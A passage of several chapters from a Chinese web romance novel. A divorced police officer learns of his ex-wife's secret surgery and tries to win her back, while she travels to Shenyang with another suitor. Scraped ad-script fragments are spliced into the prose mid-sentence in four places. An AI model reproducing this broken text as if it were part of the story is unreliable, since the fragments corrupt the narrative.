关昊没脸再问下去了,对着电话说:“妈,我知道,我没放弃她。是我让她失望了,我一定把她追回来!”说完挂了电话。 林妈在那头一头雾水,可她听出了关昊话里的决心。看来关昊本心是不想离的,估计是茜茜太要强了才有的这么个结果。要是两个人真能和好,也算了了她一块心病。 她决定先不打扰她们,和老伴商量商量,静观其变。 关昊知道了这个消息却是五内俱焚,但现在不是后悔的时候,得先把事情搞清楚。 关昊又把电话打到了姚佳莉那。 姚佳莉通常都是睡到10点才起的,今天被电话吵醒,接通的时候就有点不乐意:“关昊,什么事啊?” “林茜生病的事你知道吗?”关昊直接问。 “知道啊。” “她什么病?病到什么程度了?严重吗?” “手术做完都一个多月了,应该好了吧。”姚佳莉瞥了眼床头的闹钟,还不到8点,关昊这一大早发什么疯。 “做手术了?她……她什么时候的事?怎么没告诉我呢?”问到最后,关昊的声音开始颤抖,分不清是后悔还是委屈。 上我这祷告来了?你早干嘛去了? 老姚在心里吐槽,嘴上还是解释道:“就是你们刚离婚那阵,冷静期的时候。她体检查出来一个小肿瘤,良性的,做的微创手术,不算太严重。她没跟你说是不想麻烦你,现在事儿也过去了,你也不用自责了,好好过日子吧。” 老姚自觉这番话说得体面极了,简直该给她发好市民奖。 没想到关昊又接着问:“那为什么我岳母说她不能生育了,还说我们是因为这个离的婚?” 这个老姚倒是知道内情,不过闺蜜的隐私,她亲老公来了都不一定告诉,更何况已经是前夫了。 老姚板起脸:“那就是茜茜的事了,你得问她。我还有事呢,挂了啊。” 关昊吃了个闭门羹。 今天无论如何也要把这件事问清楚,他打给了林茜。 可一连打了几个都无人接听。 关昊又打到林茜的律所。 “林律师啊,出差了。”前台回复道。 “她去哪了?你知道吗?” “这我不清楚,而且也不方便告诉您。如果您有问题要咨询的话,我们可以提供其他律师的联系方式……”小蓝还没介绍完,电话就被挂断了。 “莫名其妙。”小蓝嘀咕了句,接着对上个月的考勤去了。 关昊坐在家里,有劲没处使,心里感到前所未有的茫然和恐慌。 他是不是……在自己还不知道的时候,就已经输得一败涂地了? 怕。 真的怕。 心里明明有一团火,想上天入地,想找到林茜,想忏悔,想哀求,想紧紧抱住她再也不放手。 可现在什么都做不了。 他甚至连她在哪都不知道。 北京去沈阳的高铁上,何婧刚放下行李坐好,就听到一个低沉浑厚的男声:“不好意思何律师,可以和你换个座位吗?” 何婧抬头一看,呦,拳王。 何婧识趣地换好车票,一脸镇定地离开了。心里却恨不得拿个喇叭隔空对小蓝和苏杭大大地八卦一番。 拳王追人都追到沈阳来啦! 老板就是老板! 不愧是人生赢家! 事业爱情两开花! 亲临吃瓜第一线,却没有同好,真是人生一大憾事。 何婧走到余琛的座位上坐好,也不错,离老板的位置很远,方便赛博八卦,立刻点开了和小蓝的对话框。 林茜从洗手间回来,看到一个高大的身影坐在自己旁边,还在奇怪,这不是何婧的位置吗?刚要提醒,已经看清了余琛的侧脸。 “阿琛?你怎么在这?”林茜惊讶地问。 “我说是巧合,林律师信不信?”余琛微笑着问。 “理由过于拙劣,我不信。”林茜假装白了他一眼,又忍不住笑了。 “我是专程过来陪你的,不会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打扰你做事。”余琛坦白:“昨天2点多才回我信息,又熬夜了吧?” “是啊,”林茜绕过余琛坐到靠窗的位置上:“这次是临危受命,时间太仓促了,只能熬晚一点。我的黑眼圈是不是出来了?”林茜睁大眼睛问,早上出门只扑了薄薄一层粉底,不知道有没有遮住眼下青黑。 余琛低头看着她,温和的眼睛里透出一点心疼:“没有。不过再不休息可能就要有了。车程只有3个半小时,这段时间什么都不想,好好睡一觉,好不好?” 林茜昨晚3点才睡,今天6点多就起床往车站赶了,确实有些疲累:“那好。就让手机和电脑也在包里休息一下。” 余琛笑笑,伸开一只臂膀:“那我出一个软枕,为林小姐效劳。” 林茜看了看余琛宽厚的肩膀,狡黠地往外看了眼:“这样不好吧……” 余琛了然:“何律师的座位离这很远,不会看到的。” 林茜被戳破心思,嘴硬道:“谁说我怕被看到?我是怕窝着脖子,就这样闭目养神,挺好。”说完靠在椅背上闭上了眼睛。 余琛看着她的样子觉得很可爱,笑笑没说话,从行李架的背包里拿出一块毯子,展开盖在林茜身上。 林茜感受到动静,睁眼看了下又合上了,冬天的阳光很暖和,照在脸上也不刺眼,柔软的毯子严密地覆在身上,困意很快袭来。 阳光的味道真好闻,让人感觉世界都安定了。 林茜心里转过这个念头睁开眼时,发现自己正靠在余琛肩膀上。 怎么又…… 林茜有些脸红的坐直了,抬头看了眼余琛又迅速移开视线。 “睡醒了?”余琛嘴角含笑。 “嗯。”林茜心虚地点点头。怎么回事啊?明明记得睡前是靠在椅子上的。 “要不要喝点水?”余琛拿出一个保温杯,淡蓝色的,边缘柔和,看得人很喜欢。 “这是你的杯子吗?”林茜问道。 “是给你准备的。还没用过。”余琛解释。 “给我?单独准备的杯子?”林茜惊讶。 “是。天冷了,总喝凉的不舒服。你忙起来吃饭不及时,胃又不太好,喝温水舒服一些。” 林茜接过杯子,小口喝着,心里暖暖的。 冬天的阳光照在身上,不冰不烫的水熨帖胃里,知冷知热的人就在身边,林茜感觉整个世界都被温柔包围。 或许是睡醒了感官更灵敏了一些,林茜感觉有什么东西在震。 “怎么了?”余琛看林茜四处查看,问道。 “是不是有什么东西在震啊?还是火车行驶的动静?我有点分不清。” 余琛感受了下,站起来看向行李架,拿出林茜的背包:“是不是你的手机?” 林茜掏出手机,发现有十几个未接来电,都是关昊。 出了什么急事吗?是不是妈妈? 余琛看出林茜有些不安:“怎么了?” “关昊打了很多电话,可能有什么事。我问一下。” “好的。” 林茜拨回去,电话立刻被接通:“茜茜,你在哪?”关昊的声音很急。 “我在火车上,去沈阳出差。出什么事了?” 51. 第 51 章 “哪一趟车?我去找你!”关昊着急道。 林茜心里迅速判断着,不像是妈妈出事了,如果妈妈有事关昊会先在那边处理情况,而不是急着过来找自己。 只要妈妈没事,关昊那边能出的问题就不是大问题。 林茜放下心来,冷静道:“到底什么事?先在电话里讲清楚。” “茜茜,你是不是之前生病了?”关昊小心翼翼地问。 “是,很小的问题,已经恢复了。如果是这件事,你不用担心。”林茜平和地说。 要是因为她生病的事,林茜有点能理解关昊的心情。八成是自责了。 “那……那为什么妈说你不能生孩子了,还说咱们是因为这个离的婚?”关昊艰难地问出来。 妻子生病了,丈夫不知情。 夫妻离婚了,真正的原因丈夫还是不知情。 不管哪件事都昭示着他这个丈夫的失职。 林茜有点尴尬,说服爸妈的时候光想着离婚后就没交集了,她们应该也不会再去找关昊对峙。 不知道哪里出了问题,听起来是关昊从妈妈那知道了一些信息。 没关系,可以处理。 林茜淡定地开口:“爸妈都比较传统,想说服她们接受离婚这个事实,需要一些……比较严重的理由。情况没你想的那么糟糕。现在车上信号不太好,晚上我再回你电话。” 林茜实在不想在四面都是人的火车上谈论自己的生育问题。 “我去找你!我想当面和你说。”关昊现在根本坐不住。 “没有这个必要。这次开庭时间很紧,我抽不出工夫来应付你。晚上我打给你,有什么问题你都可以问。我们一次说清楚。”林茜的态度很坚定。 “茜茜,我……我不会耽误你的事,我只是想看看你……”关昊笨拙地说着,为自己争取。 “我真的没有时间。关昊,抱歉。” “那……好。”关昊不敢再催林茜,小心地求证:“晚上你会打给我的,对吧?” “会的。” 关昊的心里稍稍踏实了一点,嘱咐林茜:“那你别太辛苦,别累着自己。” “好,谢谢,再见。”林茜挂断了电话。 关昊还举着手机在耳边,对面已经没有任何声响。 可他舍不得放下来,好像这样就可以离林茜近一点。 “没什么事,关昊知道了我前段时间生病的事,打过来问一下。”林茜放下电话后对余琛解释。 “他很担心你?”余琛神情内敛,语气还是很温和。 “可能是自责吧。他这个人有点大男子主义,有时候会独断,有时候又喜欢大包大揽,不是自己的责任也揽在自己身上。其实我和他已经没有关系了,他大可不必自责。晚上我会和他说清楚。”林茜看着他说道。 “好。”林茜肯这样解释,余琛已经很开心。她在意他的感受。 这一天对关昊来说无比漫长。 今天没有新的案子,上午大家继续做年终总结。关昊魂不守舍地坐在工位上。李莉察觉了,自告奋勇把关昊那一份也拿过来。 小王也看出了不对劲,转过来小声问:“关哥你是不是病了啊?最近也不忙,不行你就请天假休息休息。” “没事。”关昊心不在焉地应着。在家更坐不住,每分每秒都是煎熬。 小王仔细打量着关昊,也不太像生病,更像是心里藏了事,试探着问道:“是不是嫂子那有情况?” 关昊下意识以为自己是全世界最后一个知道林茜生病的人,听到小王的话就有点应激:“连你也知道了?” 小王吓一跳:“我知道什么呀?” “哦,没事。”关昊反应过来,又恢复了神游状态。 小王心里的猜测确定了七八分,八成就是嫂子那出了问题,追妻受阻了? 小王试探着小声开口:“关哥是不是碰上什么难处了?说出来兄弟给你分析分析?” “没事。”关昊神色落寞,内心焦灼。 这怎么看都不像是没事的样子啊?小王见问不出来,转了回去,头脑却发散起来。 前些天关昊看着虽然低落,士气还是有的,现在怎么感觉整个人都有点不稳当了?出了什么事呢? 嫂子外边有人了? 小王被这个想法吓了一跳,再一想又觉得合理。林茜那么漂亮,那么能干,肯定不缺人喜欢。现在又刚离婚,不正是别人趁虚而入的好机会? 关哥这是被人钻空子了? 转念一想,还是不对。 要是这样的话,关昊应该是愤怒,或者士气更足,一定要把嫂子追回来才对。他可不是轻易认输的人。 现在看着,他整个人像是有点慌了。 到底怎么回事呢? 小王越想越好奇,中午一定得打听打听。 中午吃饭关昊也是心不在焉。连赵诚都察觉到了。 “关哥你怎么不吃啊?”赵诚问道。 “哦,不饿。”关昊看着眼前的餐盘,心里想的却是林茜,完全吃不下去。 “这两天又降温了,得多吃点,要不容易冷。”赵诚年纪不大,很懂得爱惜自己。还在大学的时候就已经保温杯里泡枸杞了。 李莉今天也很沉默。她是第一个察觉到关昊不对劲的。可上回小王的无心之言让她很介意,孙佳佳的“别当舔狗”箴言又时时悬在头顶,今天就显得矜持了许多。 赵诚见没人回应,又看向李莉:“你说是不是啊?” 李莉也没回,而是对着关昊问道:“关队是不是和嫂子吵架了?” 这句话触动了关昊,他抬起头,像是感慨,又有点茫然:“她肯跟我吵架就好了。” 情况不妙啊。小王心里警铃大作,姑娘不理不睬,说明对你没兴趣了。关哥,危矣! “嫂子不理您了?您哄哄她呢?买个礼物?好好认错?”小王出主意。 “那是不是有点没面子……”赵诚小声嘀咕。 “面子重要还是老婆重要?”小王恨铁不成钢:“要不你是单身狗!” 这话本来是说赵诚的,却被关昊听进了心里。 “是啊,活该我被甩。”关昊默默地说。 “哎,不是,关哥,我不是说您!”小王赶紧解释。 “你有经验,你说我现在该怎么办?”关昊严肃地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 问道。 “啊?我……”小王一时没反应过来:“我也不知道啊。” 关昊却被点醒了。离婚冷静期,自己要面子,对林茜不闻不问。明明心里想得不行,却一直等着林茜主动找他。 原本陪丈母娘看病,多好的机会和林茜套近乎,也被他惜字如金地浪费掉了。 所以林茜才会觉得他是外人了,连生病也没告诉他。 “是我活该。”关昊想清楚了。 李莉看不惯关昊这幅低落自苦的样子,脆声道:“您要是想追,就大大方方地追,全力以赴地追,在这黯然神伤,自责来自责去的,人家也不会知道,知道了也不一定感动。您这何苦呢?”不知道劝得是关昊,还是自己。 “你说得对。”关昊看着她,认真说道。 自己活了三十来年,怎么还没一个小姑娘通透呢。 没错,大大方方的,全力以赴的,把她追回来。 今天一下班,关昊就回家了。开车前确认手机开启的是铃声模式,随时准备停车接林茜的电话。 到家之后还不到6点,关昊心神不宁,拿着手机在客厅里走来走去。 时间过得既快又慢。 关昊数不清自己转了多少圈,在时针指到9时,林茜的电话终于打来了。 “茜茜!”关昊一秒钟都没浪费,接通了电话。 “我生病的事,你怎么知道的?”林茜先提了问题。 “昨晚我问了问妈最近身体怎么样,早上看到她的回信,说你病了。” 自己的病都好了,怎么会无缘无故提起呢?林茜纳闷。又想起爸妈一直还想撮合自己跟关昊和好,找话头说漏了也有可能。林茜决定不细究了。 “你想知道什么?”林茜又问道。 “茜茜……你的身体怎么样了?”关昊有一肚子话想问,最关心的,还是她的身体。 “已经康复了。单侧卵巢畸胎瘤,不大,做的微创手术,但是会对生育有些影响。我没告诉你是想我们已经分开了,这件事我可以自己处理。至于爸妈那边,老人家不太能接受儿女离婚,但是因为生育有问题离婚,她们又可以理解了。所以我就把这两件事连在了一起,说是我们共同的决定。” 林茜一次性解释清楚了前因后果,关昊艰难地消化着这些信息:“茜茜,我是不是很没用。连生病这么大的事,你都没告诉我。” 林茜微不可查地叹了口气,关昊还是揽在自己身上了。 “不是你的问题,是我不喜欢麻烦别人。” “我是别人吗?”关昊问。 “离婚了,我们对彼此就不再有扶养的义务了。关昊,我知道你心地好,可你不能把所有人的人生都背在身上。我的事,和你没有关系了。”林茜劝道。 “我?心地好?”关昊露出一个笑得像哭的表情:“你觉得是我心地好?茜茜,你到底明不明白,我根本就放不下你。我知道你生病后天都塌了,我恨自己为什么不知道,我生怕你出一点闪失。我早就后悔了……我们根本就不该离婚。茜茜,是我错了,我们从头来过好不好?” “关昊,过去了。”林茜温和的声音像一场迟来的审判。 52. 第 52 章 第二天,关昊浑浑噩噩地从沙发上醒来。 不记得昨晚是怎么放下电话的了。 只记得林茜一直很温柔。他固执地重复着那些埋在心底很久的话,她一次也没打断他。 林茜也很绝情,不管自己如何后悔与哀求,她都没有心软。 我还有机会吗? 关昊问着自己,觉得人生从来没有这么灰暗过。 看了眼墙上的表,已经8:20,要迟到了。关昊起来洗了把脸,抓起外套出门,脚像踩在棉花上,头重脚轻,今天关昊没开车,打车去了单位。 年底了治安纠纷比较多,小偷小摸也有一些。但这些和经侦关系都不大,所以科里不怎么忙。大家在工位上,按部就班地做着自己的事。 小王昨天就感觉关昊的情况不太好,今天见他没来,心里正担心着,扭头往门口一看,关昊来了。 但是情况好像更糟了。 关昊头发长长了,此刻歪向一边,走路脚步轻飘,两颊还有些不正常的红。 “关队,您是不是病了?”还没等小王问候,李莉已经站起来了。 “没事。”关昊回了一声,裹着外套坐到自己工位上。 “关哥,真没事吗?你看着像发烧了啊。”小王也忍不住担心。 科长出来正要问年终总结的进度怎么样了,就听到小王这一句。再看关昊,可不是发烧了么。 “关昊,病了就回去休息吧,放你一天假。”科长说道。 “我没事,科长。”关昊闷着声说。 “还说没事,你这脸烧得都快赶上台上唱戏的了,快回去!别让家里人惦记。”科长板起脸来劝道。年轻人拼是好事,可也不提倡带病上岗,尤其工作不紧急的时候,病了该休息就休息。 关昊委顿地坐在那里。面上发烫,心底冰凉。 回那个四面漏风的地方干什么?哪还有什么人惦记?天地茫茫,只剩他一个了。 科长看着不对劲,正要再问。小王出来打圆场:“关哥这是烧得有点厉害了,我送送他吧,送完我就回来,行吗科长?” 科长放人:“去吧,给安顿好了再回来。” “好嘞,科长。”小王赶紧带着关昊走了。 李莉坐在座位上,心也跟着一块飞了出去。 再晚一秒,自告奋勇送关昊回去的可能就是她了。 关队家里应该没人,那谁照顾他呢?李莉盘算着,下了班买点东西去看看他。 林茜没受到昨天电话的影响,她自觉已经和关昊说的很清楚了,希望他可以早点放下,向前走。 今天的庭审是一场硬仗,不仅是因为时间紧,也是因为她的辩护策略十分激进。被告人被控合同诈骗罪,罪名一旦成立,将面临三年以上十年以下的有期徒刑,并处罚金。 而林茜坚持无罪辩护。 一场唇枪舌剑下来,法官宣布休庭,择期继续。中午林茜和当事人的母亲吃饭,是个要强的东北女人,姓蒋,一个人拉扯大儿子,很不容易。 蒋女士感慨:“一鸣这孩子从小就要强,他爸走得早,他小小年纪就懂事了,从来不让我操心。高考那年,他是他们班里唯一一个考上985的。” 每个母亲眼里自己的孩子都是优秀的,如今落到这个地步,林茜也不好说什么,端起杯子喝了一口茶。 蒋女士又说:“林律师,今天您的表现我都看到了,我非常支持您的观点。这两年生意不好做,一鸣借他同学的钱周转,绝对没有不还的意思。屋漏偏逢连夜雨啊,越着急亏损越大,眼见着还不上了对方要起诉我们也认,可没想到他同学直接举报到公安局去了,说他诈骗,我们真的没有要骗人的意思,谁能想到竟然就把一鸣抓走了。” 这番话林茜倒是同意的。做无罪辩护并不是为了取悦当事人,是她真的觉得这个案子有很大的辩驳空间。 “合同诈骗和民间借贷有时候不好区分,主要就是雷一鸣这种情形。借款利息定的太高了,而且当时已经出现亏损,偿还能力存疑,就会被怀疑有诈骗的嫌疑。但是他的行业这两年受政策影响很大,亏损的商家非常多,属于不可抗力。而且他还债的态度一直都比较积极,起初也还了一小部分,所以我认为他主观上没有非法占有的目的。”林茜解释道。 “对!对!我们没有这个目的,没想着骗人啊。”蒋女士不住地点头:“一鸣就是太要强了,我也劝过他,公司除了刚开始几年赚钱,后来就一直亏损,不行就关了找个班上吧,也饿不着自己。可是他不甘心呐,他一毕业就赚着钱了,再让他回去上班他不甘心了……”蒋女士神色黯然。 林茜见过的悲欢离合太多,此刻也说不出什么安慰人的话,只能在案子上多下功夫:“庭后我和法官沟通了一下,下次开庭估计就是元旦后了。这次的时间比较久,我可以准备地更充分一些。但目前看情况不是很乐观,您可能要做好上诉的准备。” “好,要是一审结果不好,二审我们也继续委托您。这也是一鸣的意思。”蒋女士说道。 林茜感受到当事人的信任,心里沉甸甸的。 吃过午饭,这次的出差就结束了。何婧有点不好意思地同林茜讲:“林律师,咱接下来还有什么工作吗?要是没有的话,我想在东北玩两天,周日再回去。” 林茜:“没有了,最近加班也很频繁,你也放松一下吧。” “谢谢林律师!”何婧高兴地说道。 回宾馆的路上,何婧突然想起来,自己要玩所以没买回去的票,连老板的也一起忘了,又想拳王也来了,是不是她们也不急着回去? 何婧试探着问:“林律师,您的票也还没买,您打算什么时候回去啊?” 这倒提醒了林茜。想到余琛还在,不妨也问问他的意思,回道:“我自己买就好了,你安心玩吧。” “哎,好。”何婧悄悄点开微信,群里几十条未读消息。 昨天在车上和小蓝八卦不过瘾,小蓝又把苏杭拉进来,仨人建了个吃瓜群。这两天何婧除了忙工作,还忙着向群里提供最新情报,这趟差出得有滋有味的。 接下来见证不了了,还有点可惜。 林茜回到宾馆,已经午后2点多。开了一上午的庭,之后又和客户吃饭,有些疲乏。放下包之后,林茜歪在沙发上,拨了隔壁余 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 琛的电话。 “茜茜吗?”余琛的声音传来。 “对呀。”林茜对着余琛,语气不自觉就放松下来。 余琛嘴角泛起一个柔和的微笑:“忙完了?” “嗯,再来估计就是元旦后了。客户还算满意。” “林律师出手,当然是好的。” “你不要恭维我,其实我压力也蛮大的,回去还要和同事商量一下。” “客户满意,说明你已经做的很好了,不要给自己太大压力。”余琛劝道。 “嗯。” “接下来有什么安排?今天回去吗?”余琛问。 “不急,最近没什么要开庭的案子了。何婧没来过东北,正好周末在这玩两天,后天才回去。我自己还没想好。”林茜说道。 “说起来,我也没来过东北,可以邀请林小姐和我一起转转吗?” 余琛这么一说林茜想起来,他是香港人,应该很少来北边吧,回道:“好啊。这里还蛮多景点的,可以去看沈阳故宫,或者去冰雪大世界,有各种冰上项目可以玩。你喜欢东北菜吗?我觉得还不错,很有锅气,而且很实惠。哦对了,东北的烧烤也很好吃。” “那你呢?有什么想试的?”余琛问道。 “我啊……”林茜的头靠在沙发上:“想坐在一个咖啡馆里,安安静静喝咖啡,是不是很无聊?” “不会,”余琛回道,又问:“是不是累了?” “唔……有一点。”沙发很软,林茜陷在里面,已经有一点睡意了。 “那你先睡一会,盖上被子,别受凉。等你睡醒了,我们去喝咖啡。”余琛声音温和。 “好啊。”林茜挂了电话,扯过一张毯子,陷入了昏睡。 再睁开眼时,已经快4点了。 “年纪大了不经熬啊,才晚睡了一天就这么容易困。”林茜吐槽自己,顺便在镜子里照了照,气色还不错,没有黑眼圈。 穿好大衣去敲余琛的门,余琛出来,手里已经拿上了外套。 “我们走吧。”余琛一边穿着一边说。 “去哪呀?”林茜问道。 “咖啡厅。” 到了之后,林茜感慨余琛的眼光总是这么好,偷偷怀疑他是不是干过家居。 这家店蛮清净的,可能是工作日的缘故。店里很暖和,咖色的木质桌椅,巨大的窗户和膝盖平齐,可以看到街景。 窗外是老式的俄式建筑,灰白色调,透出一种工整又肃穆的美。天有些阴,像要下雪的样子。 林茜很喜欢这样的氛围。案情的复杂,当事人的悲欢,此刻都离她远去了。她感到宁静。 余琛默默陪着林茜,看窗外的景色。 过了一会,天上飘起雪来。 “真好。”林茜看着窗外飘散的雪花:“我喜欢这样的时刻,感觉很平和。” “我也很开心。” “什么事开心呢?”林茜歪着头问道。 “我和你一起经历过夏天和秋天,现在又开始经历冬天。”余琛神色温柔。 “还会有春天。”林茜端起咖啡,碰了碰余琛的杯子,笑着说道。 53. 第 53 章 小王自从交了女朋友后,深感没车的不方便,上周末刚提了车,今儿送关昊回家正好派上用场。 关昊萎靡地坐在副驾驶上。早高峰还没完全过去,车堵在二环上慢慢挪着。 小王瞥了眼关昊的神色:“关哥,到底怎么回事啊?这儿也没别人了,说说吧。” “她做手术,没告诉我。”关昊低落地说出了口。 从昨天早上到现在,心情小起大落的,关昊的心理防线也差不多被击穿了。 “啊?严重吗?”小王嘴上应和着,心里疑惑:谁啊?嫂子吗?难道离婚另有实情? 不愧是师徒俩,怀疑的点也都差不多。 “她说不严重,已经康复了。” “什么时候的事呀?做手术不得有家属签字吗?谁给她签的啊?”小王试探道。 对啊,离婚冷静期做手术,那时候自己还是她丈夫,那谁给她签的字? 一个名字瞬间从关昊心底闪过,划伤了他的肺腑。 还能有谁? 小王见关昊不说话,又看了他一眼,更萎靡了。 “她可能……有别人了吧。”关昊觉得车里好冷,裹紧了外套还是冷。 糟了,真是不能再糟了。小王在心里叹息。 以小王有限的知识来看,女人这种生物很奇怪。有时候她们包容性巨强,什么奇奇怪怪的男人都可以找到老婆。有时候又异常心狠,即便优秀如关昊,如果在嫂子最脆弱的时候没在身边,那多半也凶多吉少了。 男人可以不拘小节,但有大事的时候一定得在。这是小王的信条。 “那……现在是什么情况啊?”话也不能干在这,小王又硬着头皮问下去。 “她说我是外人,她的事和我没有关系了。”关昊闭上眼,感觉有千钧重。 完了,死刑。 小王也不知道咋劝了。 把关昊送到家里,扶着他去了卧室盖上被子,出来一看冷锅冷灶的,小王也叹了口气,回到单位。 科长见小王回来了,顺势把他叫到办公室:“关昊怎么回事啊?是不是最近碰上什么事了?” “科长……”小王支支吾吾。关哥的私事,要不要和上司说呢? 科长目光如炬:“有话就说。” “哎!”小王一个激灵:“就是,关哥吧,他最近离婚了。” “离婚了?”科长想起早上关昊的神色,难怪这么惆怅。 “是,听那意思,好像关哥也不是特别想离,就是一冲动吧,就……现在后悔了。” 科长想起关昊的脾气,了然:“他这脾气是冲,工作又拼,顾不上家里,他爱人也不容易。那现在,他怎么想的呢?” “说是想把嫂子追回来,但是吧,回去的路上听他说,嫂子病了做手术也没告诉他。现在都好了他才从别处知道。”小王隐去了嫂子可能有了人的情况,关哥家丑不可外扬。 “这是心寒啦。”科长叹了口气:“年轻人过刚易折,工作上是这样,家庭里也一样的。让他服个软,好好把人追回来吧。” “话是这么说,可嫂子现在好像不理关哥了,意思就是离了婚,俩人就没关系了。”小王小声说道。关哥的事他是没什么办法了,万一科长见多识广,能有辙呢。 “我记得他爱人,是个刑辩律师,还是个挺有名的律所?”科长问道。 “对,是个红圈所,具体哪家我也不记得了。”小王说。 “行,我知道了,你去忙吧。”科长食指敲着桌面,若有所思。 李莉看见小王从科长办公室出来,有心问一问,但想起小王之前的表现,又忍住了。 算了,自己也知道关队的地址,下班后直接去看看不就知道了吗,何必通过中间商。 心里是这么想着,可时间实在过得太慢。李莉抓紧把手头的工作做完了,眼看着快到午饭时间,也进了科长办公室。 “科长,我家里有点事,能不能请半天假?就在市里,如果有事打电话我能马上回来。” “行,去吧。”李莉的工作表现一向不错,踏实肯干。科长也没刨根问底,谁家没点事呢,与人方便自己方便。 “谢谢科长!”李莉脆生地道了句谢,饭也没吃就跑了。 出了警局没直接去关昊家,李莉先搜了他家附近的大型超市。想想上次去的情况,估计现在也好不到哪里。 买上蔬果粮油,足足提了两大袋,李莉拎着去关昊家敲门了。 关昊在床上睡得迷迷糊糊,分不清现实还是梦里,老感觉有什么声响。 是不是又忘关音箱了?关昊迷瞪着眼从床上爬起来,走到客厅一看,没开音箱啊。 门口又传来敲门声,和梦里一样一样的,看来不是做梦。 谁啊这时候来敲门? 关昊面色不善地打开门,一看是李莉。 “科里有事?”关昊第一反应是来大案子了。 “没有,”李莉有点不好意思,胡诌道:“您不是病了吗,科里派我来慰问一下。” “怎么大白天的就来了?你不上班吗?”关昊皱着眉头问。 “我手头上的事都忙完了,再说等到周末的话,也怕打扰您休息,我和科长说了一声就过来了。” “行,进来吧。” 李莉提着东西进了门。环顾一下,还行,家里还算干净,没什么外卖盒子。除了地上有层细灰,其他看起来还好。 “科里送的?告诉科长下次不要破费了,我睡一觉就能好。你放下东西也赶紧回去吧,别耽误事。”关昊看见李莉提着两个袋子,伸手要接。 “不用了关哥,科长放了我半天假,说王哥可能不够细致,让我看看你这有什么能帮的帮一下。”说完直接提着东西进了厨房。 关昊感觉有哪里不对,可晕头涨脑的,也没细究。 李莉上次用过的围裙还挂在原处,她摘下来熟练地系在身上,回头跟关昊说:“关哥,刚才我吵醒您了吧,半天才开门。生病了多休息,您再睡一会吧,饭好了我叫您。” “不对。”关昊眯着眼睛说:“你不对劲。” 李莉的心重重跳了一下。 头重脚轻的感觉还没散去,关昊倚在厨房的门框上:“你怎么知道我家围裙放哪的?” 李莉努力维持着镇定:“那不就挂水龙头旁边吗?一眼就看到了。” “那你怎么知道我家厨房在哪的?”他记得李莉一进门就直奔厨房了。 “我上回不是和王哥、赵诚一块送您回来吗?来过一次就知道了。”李莉勉力维持着镇定。 见关昊没说话,李莉又补充道:“上回您喝多了,王哥说您没怎么吃东西,还是我煮了锅粥给您,您忘啦?” “哦,是小王嘱咐的。”这么一解释好像又通了。关昊的头很疼,体温还在攀升,说了句:“别太费事,弄完就回去吧,别耽误事。”转身回卧室了。 李莉看着关昊的背影,脸上露出一丝心疼。如果说以前对关昊是仰视,是崇拜,那现在这个脆弱的,甚至带一点迷糊的关昊几乎让她怜爱了。 她抑制住跟上去看看的想法。她和关昊还是同事关系,不可以逾矩。深呼吸两下平复心绪,李莉把买来的东西分类收好,打开炉灶又煮起了粥。 关昊这一觉睡到天黑。起来烧已经退了,头脑也清醒了很多。 出来一看,李莉趴在餐桌上,也睡着了。 这个小姑娘,是不是对他太关心了? “李莉,醒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 醒。”关昊拍了拍李莉的肩膀。 李莉抬起头来,睡眼惺忪,右半张脸被压红了,看起来萌萌的。 关昊忍不住笑了下。 李莉的眼睛瞬间亮了:“关队您笑啦?” “嗯,不是让你回去吗?”关昊问。 “我得看着您吃了再走。”李莉坚定道。 “这也是科长给的任务?”关昊挑着眉问。 “这个不是,”李莉有点心虚:“是我自己不放心。” “不放心什么?” 不放心你呗,李莉在心里说。脑子却急速运转着,嘴上不知怎么就说了句:“怕您没好利索就回去了,再传给我们。” “看你那惜命的样儿!”关昊敲了李莉一个爆栗:“吃的在哪呢?我吃完你赶紧回去,回头自己病了再赖我身上。” “我去盛!”李莉高兴地跑到厨房,还是皮蛋瘦肉粥,盛了满满一大碗给关昊端出来。 “关队您先吃着,我切两个凉菜。”说完又跑了。 “不用那么麻烦,我吃这个就行。” “不麻烦不麻烦!几分钟就好!”干脆的声音从厨房里传出来,冷清已久的家里忽然有了一丝人气。 关昊看着厨房的方向,突然有点心虚,这算对不起林茜吗? 又想,林茜家里连余琛的拖鞋都有了呢! 余琛到底怎么上位的呢? 他好在哪? 这么想着舀了一大勺粥送进嘴里,冷不防烫到了。 “嘶——”关昊抽了一口气。 “怎么了关队?”李莉正好出来,左手拍黄瓜,右手凉拌萝卜丝。 “门(儿),烫儿了。”一口热粥在关昊嘴里辗转腾挪,说不出一句囫囵的话。 “我给您倒杯水!”李莉从餐柜里拿出一个玻璃杯,赶紧从壶里倒了一杯。 结果是热的。 关昊一摸杯子,龇牙咧嘴地走到冰箱那,从里面拿了瓶矿泉水。 咕嘟咕嘟喝下去,口腔的灼烧感才轻了些。 “我说你存的什么心?为了不被传染直接消灭我这个传染源?”关昊大大咧咧地说道。 “我……我没有。”李莉明知他是开玩笑,心里还是有点委屈。 “得啦,早点回去吧。今儿周五,再晚点你就堵路上了。” 关昊送了好几回客了,李莉也不好再留下去:“那您好好休息,我回去了。” “去吧,路上注意安全。”关昊送她到门口。 李莉出门前下意识看了眼客厅墙上那块明显白一度的地方,说:“那我到家了给您说一声。” “行,去吧。” 关昊关上门,顺着李莉刚刚的视线看过去,那是原本挂婚纱照的地方。 关昊从没想过,自己也有伤春悲秋的一天。 他没了胃口,走进储物室,林茜留下的便签都还在。只是白天会被日光照射到的便签已经有些褪色,角落里的还很新。 婚纱照很大,很容易就找到了。 关昊注视着这张照片,林茜露出了标准的八颗牙笑容。其实那时候她们已经拍到晚上,早就累得不行了。 摄影师不停地说:“看这,3,2,1,笑。” 两个人笑到脸都酸了,越到后面表情越僵硬。 所以婚纱照上的他看起来就有些不自然。 林茜就还好,画面定格下的她,笑容依然动人。 关昊长久地看着妻子的笑容,有多久没见过林茜笑了? 那些甜蜜的,琐碎的,甚至当初觉得无聊的过往,此刻通通化作一场慢速的风雨,一点点研磨着他的心。 他把照片又挂回了原来的地方。 至少现在,他还没放弃。 54. 第 54 章 余琛没去林茜说的那些景点。 